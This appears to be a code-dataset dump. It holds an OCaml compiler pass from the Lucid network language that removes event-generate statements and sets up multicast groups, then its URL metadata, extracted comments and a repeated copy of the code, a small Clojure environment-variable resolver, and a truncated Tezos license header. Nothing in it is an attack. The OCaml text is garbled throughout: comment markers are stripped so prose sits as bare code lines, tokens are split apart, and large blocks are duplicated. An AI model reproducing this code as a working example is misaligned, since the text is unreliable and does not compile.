let tds = update_main tds {main_handler with event_output = {main_handler.event_output with ev_gen_seqs}} in
tds
;;
(* make multicast groups for:
1) flood expressions
2) self-generate recirculation cloning *)
let create_fixed_mcgroups tds config =
let all_portnums = List.map (fun p -> p.num) (_ports) in
let flood_groups =
let create_flood_group portnum =
let mcid = config.mcid_port_flood_start + portnum in
let out_ports = MiscUtils.remove portnum all_portnums in
dmcgroup GFlood mcid (List.map (fun p -> (p, 0)) out_ports)
in
List.map create_flood_group all_portnums
in
let recirc_groups =
let create_recirc_group n_copies =
( 192 , i ) for i in range ( 1 , n )
let rids = MiscUtils.range 1 (1+n_copies) in
let replicas = List.map (fun rid -> (config.recirc_port.num, rid)) rids in
dmcgroup GRecirc n_copies replicas
in
List.map create_recirc_group (MiscUtils.range 1 (1 + CL.length (main tds).hdl_enum))
in
recirc_groups@flood_groups
;;
(*** generate elimination ***)
let rec writes_in tds stmt =
match stmt.s with
| SSeq(s1, s2)
| SIf(_, s1, s2) ->
(writes_in tds s1)@(writes_in tds s2)
| SMatch(_, bs) -> List.map
(fun (_, stmt) -> writes_in tds stmt)
bs |> List.flatten
| SGen(_, ev_exp) -> (
match ev_exp.e with
| ECall(ev_cid, _) -> (
let ev_param_ids =
List.assoc (Cid.to_id ev_cid) ((main tds).hdl_params)
|> List.split |> fst
in
ev_param_ids
)
| _ -> error "[writes_in] event values not supported"
)
| _ -> []
;;
which parameters are read in stmt ?
let reads_in param_ids stmt =
let v =
object
inherit [_] s_iter as super
val mutable read_param_ids = []
method! visit_EVar _ cid =
let var_id = Cid.to_id cid in
if (MiscUtils.contains param_ids var_id)
then (read_param_ids <- (var_id)::read_param_ids)
method get_read_params () =
read_param_ids
end
in
v#visit_statement () stmt;
(v#get_read_params ())
;;
let size_of_tint ty =
match ty.raw_ty with
| TInt(sz) -> sz
| _ -> error "[size_of_tint] not a tint"
;;
(* generate statements that set the parameter
variables of evid to eargs *)
let set_event_params tds ev_cid arg_exps =
let param_ids = List.assoc (Cid.to_id ev_cid) ((main tds).hdl_params) |> List.split |> fst in
let set_event_param (param_id, arg_exp) =
(sassign param_id arg_exp)
in
List.map set_event_param (List.combine param_ids arg_exps)
;;
let set_event_generated_flag tds ev_cid =
let flag_var, flag_ty = List.assoc
(Cid.to_id ev_cid)
(main tds).event_output.ev_generated_flags
in
sassign flag_var (vint 1 (size_of_tint flag_ty) |> value_to_exp)
;;
(* id = e + i; *)
let sassign_incr id ty e i =
sassign id
(op_sp
Plus
[
e;
((vint (i) (size_of_tint ty)) |> value_to_exp)
]
ty
Span.default
)
;;
let incr_recirc_mcid tds =
let ct_var, ct_ty = (main tds).event_output.recirc_mcid_var in
sassign_incr ct_var ct_ty (var_sp (Cid.id ct_var) ct_ty Span.default) 1
;;
let set_port_evid m ev_cid =
let port_evid_var, port_evid_ty = m.event_output.port_evid_var in
let evnum = List.assoc (Cid.to_id ev_cid) (m.hdl_enum) in
let e_evnum = (vint evnum (size_of_tint port_evid_ty)) |> value_to_exp in
let set_port_evid = (sassign port_evid_var e_evnum) in
set_port_evid
;;
let set_port_fields tds ev_cid eport =
let m = (main tds) in
let port_var, _ = m.event_output.egress_port_var in
[(sassign port_var eport); set_port_evid m ev_cid]
;;
set fields for generate_port , and possibly create user mc group
let set_ports_fields tds config prev_mcgroup_decls ev_cid eports =
let m = (main tds) in
let mcid_var, mcid_ty = m.event_output.ports_mcid_var in
let port_evid_set = set_port_evid m ev_cid in
match eports.e with
| EFlood(e_igr_port) ->
let mcid_set =
sassign_incr
mcid_var mcid_ty
e_igr_port
config.mcid_port_flood_start
in
[], [port_evid_set; mcid_set]
| EVal({v=VGroup(ports);}) -> (
let mcid = config.mcid_user_groups_start + List.length (prev_mcgroup_decls) in
let mcdecl = dmcgroup GUser mcid (List.map (fun p -> (p, 0)) ports) in
now , assign the mcid
let mcid_set =
sassign_sp
mcid_var
((vint (mcid) (size_of_tint mcid_ty)) |> value_to_exp)
Span.default
in
[mcdecl], [port_evid_set; mcid_set]
)
| _ -> error "[eliminate_generates.set_ports_fields] first arg of generate_ports must be a flood expression or group value. Group variables should be inlined by now."
;;
let orig param_id =
Id.fresh ("orig_"^(fst param_id))
;;
(* replace any reads of param_ids
with reads of the orig var *)
let rec replace_reads param_ids exp =
match exp.e with
| EVar(cid) ->
if (MiscUtils.contains param_ids (Cid.to_id cid))
then {exp with e=EVar(Cid.id (orig (Cid.to_id cid)))}
else exp
| EOp(o, exps) ->
let exps = List.map (replace_reads param_ids) exps in
{exp with e=EOp(o, exps)}
| ECall(cid, exps) ->
let exps = List.map (replace_reads param_ids) exps in
{exp with e=ECall(cid, exps)}
| EHash(s, exps) ->
let exps = List.map (replace_reads param_ids) exps in
{exp with e=EHash(s, exps)}
| EFlood(exp) -> {exp with e=EFlood(replace_reads param_ids exp)}
| EVal _ -> exp
;;
type elim_ctx = {
param vars changed before stmt
param vars read after stmt
}
do n't eliminate generates completely , but simplify them .
1 . for all generates , set parameters and make copies if necessary
2 . for recirc generates , increment counter
after this :
- all generates need to set the event active flag
- port generates just need out port and port evid set
- ports generates need groups created , port evid set , and port_mcid set
1. for all generates, set parameters and make copies if necessary
2. for recirc generates, increment counter
after this:
- all generates need to set the event active flag
- port generates just need out port and port evid set
- ports generates need groups created, port evid set, and port_mcid set
*)
let reduce_generates tds =
let root_stmt = match (main tds).main_body with
| [root] -> root
| _ -> error "[generate_recirc_mc_groups] must be run before main is split into multiple stage statements"
in
let all_params = (main tds).hdl_params
|> List.split |> snd
|> List.flatten
|> List.split |> fst
in
let user_mcgroup_decls = ref [] in
let rec trav_stmts ctx stmt =
match stmt.s with
| SSeq(s1, s2) -> (
let before_s1 = ctx.writes_before in
let after_s1 = ctx.reads_after @ (reads_in all_params s2) in
let before_s2 = ctx.writes_before @ (writes_in tds s1) in
let after_s2 = ctx.reads_after in
let new_s1 = trav_stmts {
writes_before=before_s1;
reads_after = after_s1;
}
s1
in
let new_s2 = trav_stmts {
writes_before = before_s2;
reads_after = after_s2;
}
s2
in
{stmt with s=SSeq(new_s1, new_s2)}
)
| SIf(e, s1, s2) ->
{stmt with s=SIf(e, trav_stmts ctx s1, trav_stmts ctx s2)}
| SMatch(es, branches) ->
let new_branches = List.map
(fun (ps, stmt) -> (ps, trav_stmts ctx stmt))
branches
in
{stmt with s=SMatch(es, new_branches)}
| SGen(gty, ev_exp) -> (
match ev_exp.e with
| ECall(ev_cid, args) -> (
let args = List.map (replace_reads ctx.writes_before) args in
1 . for each parameter of ev_cid :
if the parameter is in reads_after , create a statement
initializing ( orig_var param_id )
2 . create a statement setting param[i ] = arg[i ]
if the parameter is in reads_after, create a statement
initializing (orig_var param_id)
2. create a statement setting param[i] = arg[i] *)
let orig_var_init_stmts = List.filter_map
(fun (param_id, param_ty) ->
if (MiscUtils.contains ctx.reads_after param_id)
then (Some(slocal (orig param_id) param_ty (var_sp (Cid.id param_id) param_ty Span.default)))
else (None)
)
(List.assoc (Cid.to_id ev_cid) (main tds).hdl_params)
in
let param_set_stmts = set_event_params tds ev_cid args in
let incr_self_event_ctr = match gty with
| GSingle(None) -> [incr_recirc_mcid tds]
| _ -> []
in
InterpHelpers.fold_stmts (orig_var_init_stmts@param_set_stmts@incr_self_event_ctr)
(* let flag_stmts = [set_event_generated_flag tds ev_cid] in *)
(* there's also some special processing for each kind of generate *)
let gty_stmts = match gty with
| GSingle(None ) - > [ incr_recirc_mcid tds ]
| GPort(eport ) - > set_port_fields tds ev_cid eport
| GMulti(eports ) - >
let new_mcdecls , stmts = set_ports_fields tds config ( ! user_mcgroup_decls ) ev_cid eports in
user_mcgroup_decls : = ( ! user_mcgroup_decls)@new_mcdecls ;
stmts
| _ - > error " [ eliminate_generates ] unsupported generate type "
in
InterpHelpers.fold_stmts ( orig_var_init_stmts@param_set_stmts@flag_stmts@gty_stmts )
| GSingle(None) -> [incr_recirc_mcid tds]
| GPort(eport) -> set_port_fields tds ev_cid eport
| GMulti(eports) ->
let new_mcdecls, stmts = set_ports_fields tds config (!user_mcgroup_decls) ev_cid eports in
user_mcgroup_decls := (!user_mcgroup_decls)@new_mcdecls;
stmts
| _ -> error "[eliminate_generates] unsupported generate type"
in
InterpHelpers.fold_stmts (orig_var_init_stmts@param_set_stmts@flag_stmts@gty_stmts) *)
)
| _ -> error "[eliminate_generates] event variables not supported yet."
)
| SNoop -> stmt
| SUnit(e) -> {stmt with s=SUnit(replace_reads ctx.writes_before e)}
| SLocal(id, ty, exp) -> {stmt with s=SLocal(id, ty, replace_reads ctx.writes_before exp)}
| SAssign(id, exp) -> {stmt with s=SAssign(id, replace_reads ctx.writes_before exp)}
| SPrintf(s, exps) -> {stmt with s=SPrintf(s, List.map (replace_reads ctx.writes_before) exps)}
| SRet(Some(exp)) -> {stmt with s=SRet(Some(replace_reads ctx.writes_before exp))}
| SRet(None) -> stmt
in
let new_root_stmt = trav_stmts {writes_before = []; reads_after = [];} root_stmt in
update_main tds {(main tds) with main_body=[new_root_stmt];}
;;
let eliminate_generates tds config =
let root_stmt = match (main tds).main_body with
| [root] -> root
| _ -> error "[generate_recirc_mc_groups] must be run before main is split into multiple stage statements"
in
let all_params = (main tds).hdl_params
|> List.split |> snd
|> List.flatten
|> List.split |> fst
in
let user_mcgroup_decls = ref [] in
let rec trav_stmts ctx stmt =
match stmt.s with
| SSeq(s1, s2) -> (
let before_s1 = ctx.writes_before in
let after_s1 = ctx.reads_after @ (reads_in all_params s2) in
let before_s2 = ctx.writes_before @ (writes_in tds s1) in
let after_s2 = ctx.reads_after in
let new_s1 = trav_stmts {
writes_before=before_s1;
reads_after = after_s1;
}
s1
in
let new_s2 = trav_stmts {
writes_before = before_s2;
reads_after = after_s2;
}
s2
in
{stmt with s=SSeq(new_s1, new_s2)}
)
| SIf(e, s1, s2) ->
{stmt with s=SIf(e, trav_stmts ctx s1, trav_stmts ctx s2)}
| SMatch(es, branches) ->
let new_branches = List.map
(fun (ps, stmt) -> (ps, trav_stmts ctx stmt))
branches
in
{stmt with s=SMatch(es, new_branches)}
| SGen(gty, ev_exp) -> (
match ev_exp.e with
| ECall(ev_cid, args) -> (
let args = List.map (replace_reads ctx.writes_before) args in
1 . for each parameter of ev_cid :
if the parameter is in reads_after , create a statement
initializing ( orig_var param_id )
2 . create a statement setting param[i ] = arg[i ]
if the parameter is in reads_after, create a statement
initializing (orig_var param_id)
2. create a statement setting param[i] = arg[i] *)
let orig_var_init_stmts = List.filter_map
(fun (param_id, param_ty) ->
if (MiscUtils.contains ctx.reads_after param_id)
then (Some(slocal (orig param_id) param_ty (var_sp (Cid.id param_id) param_ty Span.default)))
else (None)
)
(List.assoc (Cid.to_id ev_cid) (main tds).hdl_params)
in
let param_set_stmts = set_event_params tds ev_cid args in
let flag_stmts = [set_event_generated_flag tds ev_cid] in
(* there's also some special processing for each kind of generate *)
let gty_stmts = match gty with
| GSingle(None) -> [incr_recirc_mcid tds]
| GPort(eport) -> set_port_fields tds ev_cid eport
| GMulti(eports) ->
let new_mcdecls, stmts = set_ports_fields tds config (!user_mcgroup_decls) ev_cid eports in
user_mcgroup_decls := (!user_mcgroup_decls)@new_mcdecls;
stmts
| _ -> error "[eliminate_generates] unsupported generate type"
in
InterpHelpers.fold_stmts (orig_var_init_stmts@param_set_stmts@flag_stmts@gty_stmts)
)
| _ -> error "[eliminate_generates] event variables not supported yet."
)
| SNoop -> stmt
| SUnit(e) -> {stmt with s=SUnit(replace_reads ctx.writes_before e)}
| SLocal(id, ty, exp) -> {stmt with s=SLocal(id, ty, replace_reads ctx.writes_before exp)}
| SAssign(id, exp) -> {stmt with s=SAssign(id, replace_reads ctx.writes_before exp)}
| SPrintf(s, exps) -> {stmt with s=SPrintf(s, List.map (replace_reads ctx.writes_before) exps)}
| SRet(Some(exp)) -> {stmt with s=SRet(Some(replace_reads ctx.writes_before exp))}
| SRet(None) -> stmt
in
let new_root_stmt = trav_stmts {writes_before = []; reads_after = [];} root_stmt in
update_main tds {(main tds) with main_body=[new_root_stmt];}
;;
let eliminate tds config =
1 . find all the possible sequences of event generates
let tds = set_ev_gen_seqs tds in
2 . create multicast groups for flood ports and recirc events
let tds = tds@(create_fixed_mcgroups tds config) in
3 . eliminate generates
let tds = eliminate_generates tds config in
tds ;;
| null | https://raw.githubusercontent.com/PrincetonUniversity/lucid/a2351acd5f9c08aaf59129c29895a369cf75a3c2/src/lib/backend/transformations/RemoveGenerates.ml | ocaml | find all the possible sequences of events that get generated
no events in rest
make multicast groups for:
1) flood expressions
2) self-generate recirculation cloning
** generate elimination **
generate statements that set the parameter
variables of evid to eargs
id = e + i;
replace any reads of param_ids
with reads of the orig var
let flag_stmts = [set_event_generated_flag tds ev_cid] in
there's also some special processing for each kind of generate
there's also some special processing for each kind of generate |
After this pass , generate statements only need to set multicast ID and egress port .
- All event parameters are set in this pass .
- event count is set ( really : mc_group_a )
- After this pass , to translate a generate statement , you must :
1 . generate : nothing
2 . port generate : set egress_port and port_evid
3 . ports generate : create multicast group and set ports_mcid
1 . walk the program and collect a list of all possible sequences of events generated . Will be used later .
2 . eliminate generate statements .
1 . at each generate , set all parameter variables . for each parameter variable foo set , check if it is later read . If so , set orig_foo = foo before the generate and replace foo with orig_foo everywhere after the generate .
2 . at each generate ( _ , x ( ) ) , set flag ev_x_generated .
3 . if generate type is :
- generate self : increment self_generate_ct
- generate port : set egress port variable
- generate ports :
- if flood : set ports_mcid = 512 + flood port
- if group value : create a multicast group and set ports_mcid
After this pass, generate statements only need to set multicast ID and egress port.
- All event parameters are set in this pass.
- event count is set (really: mc_group_a)
- After this pass, to translate a generate statement, you must:
1. recirc generate: nothing
2. port generate: set egress_port and port_evid
3. ports generate: create multicast group and set ports_mcid
1. walk the program and collect a list of all possible sequences of events generated. Will be used later.
2. eliminate generate statements.
1. at each generate, set all parameter variables. for each parameter variable foo set, check if it is later read. If so, set orig_foo = foo before the generate and replace foo with orig_foo everywhere after the generate.
2. at each generate(_, x()), set flag ev_x_generated.
3. if generate type is:
- generate self: increment self_generate_ct
- generate port: set egress port variable
- generate ports:
- if flood: set ports_mcid = 512 + flood port
- if group value: create a multicast group and set ports_mcid
*)
open CoreSyntax
open TofinoCore
open CoreCfg
exception Error of string
let error s = raise (Error s)
let rec find_ev_gen_seqs statement =
match statement.s with
| SGen(_, ev_exp) -> (
match ev_exp.e with
| ECall(ev_cid, _) -> (
[[Cid.to_id ev_cid]]
)
| _ -> error "[find_ev_gen_seqs] event should be a call by this point"
)
| SIf(_, s1, s2) ->
(find_ev_gen_seqs s1)@(find_ev_gen_seqs s2)
| SMatch(_, branches) ->
List.fold_left (fun seqs (_, stmt) -> seqs@(find_ev_gen_seqs stmt)) [] branches
| SSeq(s1, s2) -> (
let seqs_s1 = find_ev_gen_seqs s1 in
let seqs_s2 = find_ev_gen_seqs s2 in
let update_seqs seqs seq =
List.map (fun s -> s@seq) seqs
in
List.fold_left
(fun new_seqs_s1 seq ->
new_seqs_s1@(update_seqs seqs_s1 seq)
)
[]
seqs_s2
)
| _ -> [[]]
;;
let set_ev_gen_seqs tds =
let main_handler = (main tds) in
let main_stmt = main_handler.main_body |> List.hd in
let ev_gen_seqs = find_ev_gen_seqs main_stmt in
let tds = update_main tds {main_handler with event_output = {main_handler.event_output with ev_gen_seqs}} in
tds
;;
let create_fixed_mcgroups tds config =
let all_portnums = List.map (fun p -> p.num) (_ports) in
let flood_groups =
let create_flood_group portnum =
let mcid = config.mcid_port_flood_start + portnum in
let out_ports = MiscUtils.remove portnum all_portnums in
dmcgroup GFlood mcid (List.map (fun p -> (p, 0)) out_ports)
in
List.map create_flood_group all_portnums
in
let recirc_groups =
let create_recirc_group n_copies =
( 192 , i ) for i in range ( 1 , n )
let rids = MiscUtils.range 1 (1+n_copies) in
let replicas = List.map (fun rid -> (config.recirc_port.num, rid)) rids in
dmcgroup GRecirc n_copies replicas
in
List.map create_recirc_group (MiscUtils.range 1 (1 + CL.length (main tds).hdl_enum))
in
recirc_groups@flood_groups
;;
let rec writes_in tds stmt =
match stmt.s with
| SSeq(s1, s2)
| SIf(_, s1, s2) ->
(writes_in tds s1)@(writes_in tds s2)
| SMatch(_, bs) -> List.map
(fun (_, stmt) -> writes_in tds stmt)
bs |> List.flatten
| SGen(_, ev_exp) -> (
match ev_exp.e with
| ECall(ev_cid, _) -> (
let ev_param_ids =
List.assoc (Cid.to_id ev_cid) ((main tds).hdl_params)
|> List.split |> fst
in
ev_param_ids
)
| _ -> error "[writes_in] event values not supported"
)
| _ -> []
;;
which parameters are read in stmt ?
let reads_in param_ids stmt =
let v =
object
inherit [_] s_iter as super
val mutable read_param_ids = []
method! visit_EVar _ cid =
let var_id = Cid.to_id cid in
if (MiscUtils.contains param_ids var_id)
then (read_param_ids <- (var_id)::read_param_ids)
method get_read_params () =
read_param_ids
end
in
v#visit_statement () stmt;
(v#get_read_params ())
;;
let size_of_tint ty =
match ty.raw_ty with
| TInt(sz) -> sz
| _ -> error "[size_of_tint] not a tint"
;;
let set_event_params tds ev_cid arg_exps =
let param_ids = List.assoc (Cid.to_id ev_cid) ((main tds).hdl_params) |> List.split |> fst in
let set_event_param (param_id, arg_exp) =
(sassign param_id arg_exp)
in
List.map set_event_param (List.combine param_ids arg_exps)
;;
let set_event_generated_flag tds ev_cid =
let flag_var, flag_ty = List.assoc
(Cid.to_id ev_cid)
(main tds).event_output.ev_generated_flags
in
sassign flag_var (vint 1 (size_of_tint flag_ty) |> value_to_exp)
;;
let sassign_incr id ty e i =
sassign id
(op_sp
Plus
[
e;
((vint (i) (size_of_tint ty)) |> value_to_exp)
]
ty
Span.default
)
;;
let incr_recirc_mcid tds =
let ct_var, ct_ty = (main tds).event_output.recirc_mcid_var in
sassign_incr ct_var ct_ty (var_sp (Cid.id ct_var) ct_ty Span.default) 1
;;
let set_port_evid m ev_cid =
let port_evid_var, port_evid_ty = m.event_output.port_evid_var in
let evnum = List.assoc (Cid.to_id ev_cid) (m.hdl_enum) in
let e_evnum = (vint evnum (size_of_tint port_evid_ty)) |> value_to_exp in
let set_port_evid = (sassign port_evid_var e_evnum) in
set_port_evid
;;
let set_port_fields tds ev_cid eport =
let m = (main tds) in
let port_var, _ = m.event_output.egress_port_var in
[(sassign port_var eport); set_port_evid m ev_cid]
;;
set fields for generate_port , and possibly create user mc group
let set_ports_fields tds config prev_mcgroup_decls ev_cid eports =
let m = (main tds) in
let mcid_var, mcid_ty = m.event_output.ports_mcid_var in
let port_evid_set = set_port_evid m ev_cid in
match eports.e with
| EFlood(e_igr_port) ->
let mcid_set =
sassign_incr
mcid_var mcid_ty
e_igr_port
config.mcid_port_flood_start
in
[], [port_evid_set; mcid_set]
| EVal({v=VGroup(ports);}) -> (
let mcid = config.mcid_user_groups_start + List.length (prev_mcgroup_decls) in
let mcdecl = dmcgroup GUser mcid (List.map (fun p -> (p, 0)) ports) in
now , assign the mcid
let mcid_set =
sassign_sp
mcid_var
((vint (mcid) (size_of_tint mcid_ty)) |> value_to_exp)
Span.default
in
[mcdecl], [port_evid_set; mcid_set]
)
| _ -> error "[eliminate_generates.set_ports_fields] first arg of generate_ports must be a flood expression or group value. Group variables should be inlined by now."
;;
let orig param_id =
Id.fresh ("orig_"^(fst param_id))
;;
let rec replace_reads param_ids exp =
match exp.e with
| EVar(cid) ->
if (MiscUtils.contains param_ids (Cid.to_id cid))
then {exp with e=EVar(Cid.id (orig (Cid.to_id cid)))}
else exp
| EOp(o, exps) ->
let exps = List.map (replace_reads param_ids) exps in
{exp with e=EOp(o, exps)}
| ECall(cid, exps) ->
let exps = List.map (replace_reads param_ids) exps in
{exp with e=ECall(cid, exps)}
| EHash(s, exps) ->
let exps = List.map (replace_reads param_ids) exps in
{exp with e=EHash(s, exps)}
| EFlood(exp) -> {exp with e=EFlood(replace_reads param_ids exp)}
| EVal _ -> exp
;;
type elim_ctx = {
param vars changed before stmt
param vars read after stmt
}
do n't eliminate generates completely , but simplify them .
1 . for all generates , set parameters and make copies if necessary
2 . for recirc generates , increment counter
after this :
- all generates need to set the event active flag
- port generates just need out port and port evid set
- ports generates need groups created , port evid set , and port_mcid set
1. for all generates, set parameters and make copies if necessary
2. for recirc generates, increment counter
after this:
- all generates need to set the event active flag
- port generates just need out port and port evid set
- ports generates need groups created, port evid set, and port_mcid set
*)
let reduce_generates tds =
let root_stmt = match (main tds).main_body with
| [root] -> root
| _ -> error "[generate_recirc_mc_groups] must be run before main is split into multiple stage statements"
in
let all_params = (main tds).hdl_params
|> List.split |> snd
|> List.flatten
|> List.split |> fst
in
let user_mcgroup_decls = ref [] in
let rec trav_stmts ctx stmt =
match stmt.s with
| SSeq(s1, s2) -> (
let before_s1 = ctx.writes_before in
let after_s1 = ctx.reads_after @ (reads_in all_params s2) in
let before_s2 = ctx.writes_before @ (writes_in tds s1) in
let after_s2 = ctx.reads_after in
let new_s1 = trav_stmts {
writes_before=before_s1;
reads_after = after_s1;
}
s1
in
let new_s2 = trav_stmts {
writes_before = before_s2;
reads_after = after_s2;
}
s2
in
{stmt with s=SSeq(new_s1, new_s2)}
)
| SIf(e, s1, s2) ->
{stmt with s=SIf(e, trav_stmts ctx s1, trav_stmts ctx s2)}
| SMatch(es, branches) ->
let new_branches = List.map
(fun (ps, stmt) -> (ps, trav_stmts ctx stmt))
branches
in
{stmt with s=SMatch(es, new_branches)}
| SGen(gty, ev_exp) -> (
match ev_exp.e with
| ECall(ev_cid, args) -> (
let args = List.map (replace_reads ctx.writes_before) args in
1 . for each parameter of ev_cid :
if the parameter is in reads_after , create a statement
initializing ( orig_var param_id )
2 . create a statement setting param[i ] = arg[i ]
if the parameter is in reads_after, create a statement
initializing (orig_var param_id)
2. create a statement setting param[i] = arg[i] *)
let orig_var_init_stmts = List.filter_map
(fun (param_id, param_ty) ->
if (MiscUtils.contains ctx.reads_after param_id)
then (Some(slocal (orig param_id) param_ty (var_sp (Cid.id param_id) param_ty Span.default)))
else (None)
)
(List.assoc (Cid.to_id ev_cid) (main tds).hdl_params)
in
let param_set_stmts = set_event_params tds ev_cid args in
let incr_self_event_ctr = match gty with
| GSingle(None) -> [incr_recirc_mcid tds]
| _ -> []
in
InterpHelpers.fold_stmts (orig_var_init_stmts@param_set_stmts@incr_self_event_ctr)
let gty_stmts = match gty with
| GSingle(None ) - > [ incr_recirc_mcid tds ]
| GPort(eport ) - > set_port_fields tds ev_cid eport
| GMulti(eports ) - >
let new_mcdecls , stmts = set_ports_fields tds config ( ! user_mcgroup_decls ) ev_cid eports in
user_mcgroup_decls : = ( ! user_mcgroup_decls)@new_mcdecls ;
stmts
| _ - > error " [ eliminate_generates ] unsupported generate type "
in
InterpHelpers.fold_stmts ( orig_var_init_stmts@param_set_stmts@flag_stmts@gty_stmts )
| GSingle(None) -> [incr_recirc_mcid tds]
| GPort(eport) -> set_port_fields tds ev_cid eport
| GMulti(eports) ->
let new_mcdecls, stmts = set_ports_fields tds config (!user_mcgroup_decls) ev_cid eports in
user_mcgroup_decls := (!user_mcgroup_decls)@new_mcdecls;
stmts
| _ -> error "[eliminate_generates] unsupported generate type"
in
InterpHelpers.fold_stmts (orig_var_init_stmts@param_set_stmts@flag_stmts@gty_stmts) *)
)
| _ -> error "[eliminate_generates] event variables not supported yet."
)
| SNoop -> stmt
| SUnit(e) -> {stmt with s=SUnit(replace_reads ctx.writes_before e)}
| SLocal(id, ty, exp) -> {stmt with s=SLocal(id, ty, replace_reads ctx.writes_before exp)}
| SAssign(id, exp) -> {stmt with s=SAssign(id, replace_reads ctx.writes_before exp)}
| SPrintf(s, exps) -> {stmt with s=SPrintf(s, List.map (replace_reads ctx.writes_before) exps)}
| SRet(Some(exp)) -> {stmt with s=SRet(Some(replace_reads ctx.writes_before exp))}
| SRet(None) -> stmt
in
let new_root_stmt = trav_stmts {writes_before = []; reads_after = [];} root_stmt in
update_main tds {(main tds) with main_body=[new_root_stmt];}
;;
let eliminate_generates tds config =
let root_stmt = match (main tds).main_body with
| [root] -> root
| _ -> error "[generate_recirc_mc_groups] must be run before main is split into multiple stage statements"
in
let all_params = (main tds).hdl_params
|> List.split |> snd
|> List.flatten
|> List.split |> fst
in
let user_mcgroup_decls = ref [] in
let rec trav_stmts ctx stmt =
match stmt.s with
| SSeq(s1, s2) -> (
let before_s1 = ctx.writes_before in
let after_s1 = ctx.reads_after @ (reads_in all_params s2) in
let before_s2 = ctx.writes_before @ (writes_in tds s1) in
let after_s2 = ctx.reads_after in
let new_s1 = trav_stmts {
writes_before=before_s1;
reads_after = after_s1;
}
s1
in
let new_s2 = trav_stmts {
writes_before = before_s2;
reads_after = after_s2;
}
s2
in
{stmt with s=SSeq(new_s1, new_s2)}
)
| SIf(e, s1, s2) ->
{stmt with s=SIf(e, trav_stmts ctx s1, trav_stmts ctx s2)}
| SMatch(es, branches) ->
let new_branches = List.map
(fun (ps, stmt) -> (ps, trav_stmts ctx stmt))
branches
in
{stmt with s=SMatch(es, new_branches)}
| SGen(gty, ev_exp) -> (
match ev_exp.e with
| ECall(ev_cid, args) -> (
let args = List.map (replace_reads ctx.writes_before) args in
1 . for each parameter of ev_cid :
if the parameter is in reads_after , create a statement
initializing ( orig_var param_id )
2 . create a statement setting param[i ] = arg[i ]
if the parameter is in reads_after, create a statement
initializing (orig_var param_id)
2. create a statement setting param[i] = arg[i] *)
let orig_var_init_stmts = List.filter_map
(fun (param_id, param_ty) ->
if (MiscUtils.contains ctx.reads_after param_id)
then (Some(slocal (orig param_id) param_ty (var_sp (Cid.id param_id) param_ty Span.default)))
else (None)
)
(List.assoc (Cid.to_id ev_cid) (main tds).hdl_params)
in
let param_set_stmts = set_event_params tds ev_cid args in
let flag_stmts = [set_event_generated_flag tds ev_cid] in
let gty_stmts = match gty with
| GSingle(None) -> [incr_recirc_mcid tds]
| GPort(eport) -> set_port_fields tds ev_cid eport
| GMulti(eports) ->
let new_mcdecls, stmts = set_ports_fields tds config (!user_mcgroup_decls) ev_cid eports in
user_mcgroup_decls := (!user_mcgroup_decls)@new_mcdecls;
stmts
| _ -> error "[eliminate_generates] unsupported generate type"
in
InterpHelpers.fold_stmts (orig_var_init_stmts@param_set_stmts@flag_stmts@gty_stmts)
)
| _ -> error "[eliminate_generates] event variables not supported yet."
)
| SNoop -> stmt
| SUnit(e) -> {stmt with s=SUnit(replace_reads ctx.writes_before e)}
| SLocal(id, ty, exp) -> {stmt with s=SLocal(id, ty, replace_reads ctx.writes_before exp)}
| SAssign(id, exp) -> {stmt with s=SAssign(id, replace_reads ctx.writes_before exp)}
| SPrintf(s, exps) -> {stmt with s=SPrintf(s, List.map (replace_reads ctx.writes_before) exps)}
| SRet(Some(exp)) -> {stmt with s=SRet(Some(replace_reads ctx.writes_before exp))}
| SRet(None) -> stmt
in
let new_root_stmt = trav_stmts {writes_before = []; reads_after = [];} root_stmt in
update_main tds {(main tds) with main_body=[new_root_stmt];}
;;
let eliminate tds config =
1 . find all the possible sequences of event generates
let tds = set_ev_gen_seqs tds in
2 . create multicast groups for flood ports and recirc events
let tds = tds@(create_fixed_mcgroups tds config) in
3 . eliminate generates
let tds = eliminate_generates tds config in
tds ;;
|
8492c0443d43ecac8059a46448800d37ba53aeb7cd26c46657e82dc9170158ff | sunng87/stavka | env.clj | (ns stavka.resolvers.env
(:require [stavka.protocols :as sp]
[clojure.string :as str]))
(defn- transform-env-key [k {:keys [disable-underscore-to-dot?]}]
(as-> k k*
(str/lower-case k*)
(if-not disable-underscore-to-dot?
(str/replace k* #"_" ".")
k*)))
(defn transform-env-keys [m options]
(let [prefix (:prefix options "")]
(->> m
(filter #(str/starts-with? (key %) prefix))
(map #(vector (transform-env-key (subs (key %) (count prefix)) options)
(val %)))
(into {}))))
(defrecord EnvironmentVariableResolver [envs]
sp/Resolver
(resolve [_ _ key]
(envs key))
(initial-state [_]
nil))
(defn resolver
"Resolve key from environment variables."
[options]
(EnvironmentVariableResolver. (transform-env-keys (System/getenv) options)))
| null | https://raw.githubusercontent.com/sunng87/stavka/0b0e23f24db1a535576eb5f9fb67c18abadca64d/src/stavka/resolvers/env.clj | clojure | (ns stavka.resolvers.env
(:require [stavka.protocols :as sp]
[clojure.string :as str]))
(defn- transform-env-key [k {:keys [disable-underscore-to-dot?]}]
(as-> k k*
(str/lower-case k*)
(if-not disable-underscore-to-dot?
(str/replace k* #"_" ".")
k*)))
(defn transform-env-keys [m options]
(let [prefix (:prefix options "")]
(->> m
(filter #(str/starts-with? (key %) prefix))
(map #(vector (transform-env-key (subs (key %) (count prefix)) options)
(val %)))
(into {}))))
(defrecord EnvironmentVariableResolver [envs]
sp/Resolver
(resolve [_ _ key]
(envs key))
(initial-state [_]
nil))
(defn resolver
"Resolve key from environment variables."
[options]
(EnvironmentVariableResolver. (transform-env-keys (System/getenv) options)))
| |
46a43b9b5bce56903704fee5c3e1e5af4d5a6e460515d60d88b5b1db8d63d957 | tezos/tezos-mirror | block_header_repr.mli | (*****************************************************************************)
(* *)
(* Open Source License *)
Copyright ( c ) 2018 Dynamic Ledger Solutions , Inc. < >
(* *)
(* Permission is hereby granted, free of charge, to any person obtaining a *)
(* copy of this software and associated documentation files (the "Software"),*)
to deal in the Software without restriction , including without limitation
(* the rights to use, copy, modify, merge, publish, distribute, sublicense, *)
and/or sell copies of the Software , and to permit persons to whom the
(* Software is furnished to do so, subject to the following conditions: *)
(* *)
(* The above copyright notice and this permission notice shall be included *)
(* in all copies or substantial portions of the Software. *)
(* *)
THE SOFTWARE IS PROVIDED " AS IS " , WITHOUT WARRANTY OF ANY KIND , EXPRESS OR
(* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *)
